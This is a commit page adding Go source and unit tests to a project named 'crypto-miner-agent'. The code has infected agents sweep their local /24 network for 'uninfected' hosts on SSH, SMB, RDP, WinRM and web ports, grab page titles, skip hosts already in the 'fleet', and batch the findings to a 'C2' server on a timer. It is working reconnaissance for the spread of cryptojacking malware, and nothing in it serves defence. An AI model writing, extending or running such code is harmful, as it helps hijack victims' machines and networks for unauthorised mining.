Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
This commit is contained in:
254
agent/deploy/subnet_recon.go
Normal file
254
agent/deploy/subnet_recon.go
Normal file
@@ -0,0 +1,254 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const (
|
||||
// DefaultSubnetReconIntervalMin is the scan cadence when server policy omits a value.
|
||||
DefaultSubnetReconIntervalMin = 30
|
||||
subnetReconStatusUninfected = "uninfected"
|
||||
)
|
||||
|
||||
// SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps.
|
||||
var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262}
|
||||
|
||||
var subnetReconWebPorts = []int{80, 443, 8080}
|
||||
|
||||
// SubnetReconHost is one uninfected LAN host observation reported to the C2.
|
||||
type SubnetReconHost struct {
|
||||
IP string `json:"ip"`
|
||||
OpenPorts []int `json:"open_ports"`
|
||||
LastSeen string `json:"last_seen"`
|
||||
ReporterAgentID string `json:"reporter_agent_id"`
|
||||
HTTPTitle string `json:"http_title,omitempty"`
|
||||
Status string `json:"status"`
|
||||
}
|
||||
|
||||
var (
|
||||
subnetReconOnce sync.Once
|
||||
subnetReconReportFn func([]SubnetReconHost)
|
||||
subnetReconPolicyMu sync.RWMutex
|
||||
subnetReconEnabled bool
|
||||
subnetReconInterval = DefaultSubnetReconIntervalMin
|
||||
subnetReconAgentID string
|
||||
subnetReconFleetIPs = map[string]struct{}{}
|
||||
)
|
||||
|
||||
var titleTagRe = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
|
||||
|
||||
// fetchHTTPTitleFn overrides HTTP title probes in tests (nil = live GET).
|
||||
var fetchHTTPTitleFn func(host string, port int) string
|
||||
|
||||
// SetSubnetReconReportFn injects WS batch reporting (client wires at runtime).
|
||||
func SetSubnetReconReportFn(fn func([]SubnetReconHost)) {
|
||||
subnetReconReportFn = fn
|
||||
}
|
||||
|
||||
// UpdateSubnetReconPolicy refreshes server-pushed recon settings and fleet IP skip set.
|
||||
func UpdateSubnetReconPolicy(enabled bool, intervalMin int, agentID string, fleetIPs []string) {
|
||||
subnetReconPolicyMu.Lock()
|
||||
defer subnetReconPolicyMu.Unlock()
|
||||
subnetReconEnabled = enabled
|
||||
if intervalMin > 0 {
|
||||
subnetReconInterval = intervalMin
|
||||
} else if subnetReconInterval <= 0 {
|
||||
subnetReconInterval = DefaultSubnetReconIntervalMin
|
||||
}
|
||||
if agentID != "" {
|
||||
subnetReconAgentID = agentID
|
||||
}
|
||||
next := make(map[string]struct{}, len(fleetIPs))
|
||||
for _, ip := range fleetIPs {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip != "" {
|
||||
next[ip] = struct{}{}
|
||||
}
|
||||
}
|
||||
subnetReconFleetIPs = next
|
||||
}
|
||||
|
||||
// StartSubnetRecon runs an immediate sweep on auth and periodic sweeps when enabled.
|
||||
func StartSubnetRecon(cfg config.RuntimeConfig) {
|
||||
UpdateSubnetReconPolicy(
|
||||
cfg.SubnetReconEnabled,
|
||||
cfg.SubnetReconIntervalMin,
|
||||
cfg.AgentID,
|
||||
cfg.SubnetFleetIPs,
|
||||
)
|
||||
if !config.SubnetReconEnabled(cfg) {
|
||||
return
|
||||
}
|
||||
subnetReconOnce.Do(func() {
|
||||
go subnetReconLoop()
|
||||
})
|
||||
}
|
||||
|
||||
// RunSubnetRecon scans LAN targets and returns uninfected host observations.
|
||||
func RunSubnetRecon(reporterAgentID string, fleetIPs []string) []SubnetReconHost {
|
||||
targets := DiscoverLANSpreadTargets(MaxSubnetScanHosts)
|
||||
return runSubnetReconTargets(reporterAgentID, fleetIPs, targets)
|
||||
}
|
||||
|
||||
func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []string) []SubnetReconHost {
|
||||
reporterAgentID = strings.TrimSpace(reporterAgentID)
|
||||
skip := buildSubnetReconSkipSet(fleetIPs)
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
var out []SubnetReconHost
|
||||
for _, host := range targets {
|
||||
host = strings.TrimSpace(host)
|
||||
if host == "" || skip[host] {
|
||||
continue
|
||||
}
|
||||
open := probePorts(host, SubnetReconPorts)
|
||||
if len(open) == 0 {
|
||||
continue
|
||||
}
|
||||
entry := SubnetReconHost{
|
||||
IP: host,
|
||||
OpenPorts: append([]int(nil), open...),
|
||||
LastSeen: now,
|
||||
ReporterAgentID: reporterAgentID,
|
||||
Status: subnetReconStatusUninfected,
|
||||
}
|
||||
if title := probeHTTPTitle(host, open); title != "" {
|
||||
entry.HTTPTitle = title
|
||||
}
|
||||
out = append(out, entry)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool {
|
||||
skip := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
skip[ip] = true
|
||||
}
|
||||
for _, ip := range fleetIPs {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip != "" {
|
||||
skip[ip] = true
|
||||
}
|
||||
}
|
||||
subnetReconPolicyMu.RLock()
|
||||
for ip := range subnetReconFleetIPs {
|
||||
skip[ip] = true
|
||||
}
|
||||
subnetReconPolicyMu.RUnlock()
|
||||
return skip
|
||||
}
|
||||
|
||||
func probeHTTPTitle(host string, openPorts []int) string {
|
||||
open := make(map[int]bool, len(openPorts))
|
||||
for _, p := range openPorts {
|
||||
open[p] = true
|
||||
}
|
||||
for _, p := range subnetReconWebPorts {
|
||||
if !open[p] {
|
||||
continue
|
||||
}
|
||||
if title := fetchHTTPTitle(host, p); title != "" {
|
||||
return title
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func fetchHTTPTitle(host string, port int) string {
|
||||
if fetchHTTPTitleFn != nil {
|
||||
return fetchHTTPTitleFn(host, port)
|
||||
}
|
||||
scheme := "http"
|
||||
if port == 443 || port == 5986 {
|
||||
scheme = "https"
|
||||
}
|
||||
url := scheme + "://" + net.JoinHostPort(host, strconv.Itoa(port)) + "/"
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
resp, err := client.Get(url) //nolint:gosec // LAN recon against operator-owned targets
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 8192))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return parseHTTPTitle(string(body))
|
||||
}
|
||||
|
||||
func parseHTTPTitle(body string) string {
|
||||
match := titleTagRe.FindStringSubmatch(body)
|
||||
if len(match) < 2 {
|
||||
return ""
|
||||
}
|
||||
title := strings.TrimSpace(match[1])
|
||||
title = strings.Join(strings.Fields(title), " ")
|
||||
if len(title) > 256 {
|
||||
title = title[:256]
|
||||
}
|
||||
return title
|
||||
}
|
||||
|
||||
func subnetReconLoop() {
|
||||
runOnce := func() {
|
||||
enabled, _, agentID, fleetIPs := subnetReconPolicySnapshot()
|
||||
if !enabled {
|
||||
return
|
||||
}
|
||||
hosts := RunSubnetRecon(agentID, fleetIPs)
|
||||
if len(hosts) > 0 && subnetReconReportFn != nil {
|
||||
subnetReconReportFn(hosts)
|
||||
}
|
||||
}
|
||||
runOnce()
|
||||
for {
|
||||
enabled, intervalMin, _, _ := subnetReconPolicySnapshot()
|
||||
if !enabled {
|
||||
time.Sleep(time.Minute)
|
||||
continue
|
||||
}
|
||||
if intervalMin <= 0 {
|
||||
intervalMin = DefaultSubnetReconIntervalMin
|
||||
}
|
||||
time.Sleep(time.Duration(intervalMin) * time.Minute)
|
||||
runOnce()
|
||||
}
|
||||
}
|
||||
|
||||
func subnetReconPolicySnapshot() (enabled bool, intervalMin int, agentID string, fleetIPs []string) {
|
||||
subnetReconPolicyMu.RLock()
|
||||
defer subnetReconPolicyMu.RUnlock()
|
||||
enabled = subnetReconEnabled
|
||||
intervalMin = subnetReconInterval
|
||||
agentID = subnetReconAgentID
|
||||
for ip := range subnetReconFleetIPs {
|
||||
fleetIPs = append(fleetIPs, ip)
|
||||
}
|
||||
return enabled, intervalMin, agentID, fleetIPs
|
||||
}
|
||||
|
||||
// ResetSubnetReconForTest clears loop-once guard and policy (tests only).
|
||||
func ResetSubnetReconForTest() {
|
||||
subnetReconOnce = sync.Once{}
|
||||
subnetReconReportFn = nil
|
||||
subnetReconPolicyMu.Lock()
|
||||
subnetReconEnabled = false
|
||||
subnetReconInterval = DefaultSubnetReconIntervalMin
|
||||
subnetReconAgentID = ""
|
||||
subnetReconFleetIPs = map[string]struct{}{}
|
||||
subnetReconPolicyMu.Unlock()
|
||||
}
|
||||
|
||||
// ParseHTTPTitleForTest exposes title parsing for unit tests.
|
||||
func ParseHTTPTitleForTest(body string) string {
|
||||
return parseHTTPTitle(body)
|
||||
}
|
||||
107
agent/deploy/subnet_recon_test.go
Normal file
107
agent/deploy/subnet_recon_test.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRunSubnetReconSkipsFleetAndLocalIPs(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
defer func() { probePortsFn = prevProbe }()
|
||||
probePortsFn = func(host string, ports []int) []int {
|
||||
if host == "10.0.0.50" || host == "10.0.0.99" {
|
||||
return []int{445}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
hosts := runSubnetReconTargets("agent-1", []string{"10.0.0.50"}, []string{"10.0.0.50"})
|
||||
if len(hosts) != 0 {
|
||||
t.Fatalf("expected fleet IP to be skipped, got %+v", hosts)
|
||||
}
|
||||
|
||||
hosts = runSubnetReconTargets("agent-1", nil, []string{"10.0.0.99"})
|
||||
if len(hosts) != 1 || hosts[0].IP != "10.0.0.99" {
|
||||
t.Fatalf("expected uninfected host report, got %+v", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSubnetReconReportsUninfectedHost(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
prevTitle := fetchHTTPTitleFn
|
||||
defer func() {
|
||||
probePortsFn = prevProbe
|
||||
fetchHTTPTitleFn = prevTitle
|
||||
}()
|
||||
probePortsFn = func(host string, ports []int) []int {
|
||||
if host == "192.168.5.20" {
|
||||
return []int{22, 80}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
fetchHTTPTitleFn = func(host string, port int) string {
|
||||
if host == "192.168.5.20" && port == 80 {
|
||||
return "Router Admin"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
hosts := runSubnetReconTargets("reporter-7", nil, []string{"192.168.5.20"})
|
||||
if len(hosts) != 1 {
|
||||
t.Fatalf("hosts=%+v", hosts)
|
||||
}
|
||||
h := hosts[0]
|
||||
if h.IP != "192.168.5.20" || h.ReporterAgentID != "reporter-7" || h.Status != subnetReconStatusUninfected {
|
||||
t.Fatalf("unexpected host: %+v", h)
|
||||
}
|
||||
if len(h.OpenPorts) != 2 || h.OpenPorts[0] != 22 || h.OpenPorts[1] != 80 {
|
||||
t.Fatalf("open_ports=%v", h.OpenPorts)
|
||||
}
|
||||
if h.HTTPTitle != "Router Admin" {
|
||||
t.Fatalf("http_title=%q", h.HTTPTitle)
|
||||
}
|
||||
if h.LastSeen == "" {
|
||||
t.Fatal("expected last_seen timestamp")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSubnetReconIgnoresHostsWithNoOpenPorts(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
defer func() { probePortsFn = prevProbe }()
|
||||
probePortsFn = func(host string, ports []int) []int { return nil }
|
||||
|
||||
hosts := runSubnetReconTargets("agent-1", nil, []string{"10.0.0.10", "10.0.0.11"})
|
||||
if len(hosts) != 0 {
|
||||
t.Fatalf("expected no hosts, got %+v", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseHTTPTitle(t *testing.T) {
|
||||
body := "<html><head><title> NAS Panel </title></head></html>"
|
||||
got := ParseHTTPTitleForTest(body)
|
||||
if got != "NAS Panel" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpdateSubnetReconPolicyIntervalDefault(t *testing.T) {
|
||||
ResetSubnetReconForTest()
|
||||
UpdateSubnetReconPolicy(true, 0, "agent-a", []string{"10.0.0.1"})
|
||||
enabled, interval, agentID, fleetIPs := subnetReconPolicySnapshot()
|
||||
if !enabled || interval != DefaultSubnetReconIntervalMin || agentID != "agent-a" {
|
||||
t.Fatalf("enabled=%v interval=%d agent=%q", enabled, interval, agentID)
|
||||
}
|
||||
if len(fleetIPs) != 1 || fleetIPs[0] != "10.0.0.1" {
|
||||
t.Fatalf("fleetIPs=%v", fleetIPs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscoverLANSpreadTargetsRespectsReconCap(t *testing.T) {
|
||||
prevProbe := probePortsFn
|
||||
defer func() { probePortsFn = prevProbe }()
|
||||
probePortsFn = func(host string, ports []int) []int { return nil }
|
||||
|
||||
targets := DiscoverLANSpreadTargets(999)
|
||||
if len(targets) > MaxSubnetScanHosts {
|
||||
t.Fatalf("DiscoverLANSpreadTargets ignored cap: got %d want ≤ %d", len(targets), MaxSubnetScanHosts)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user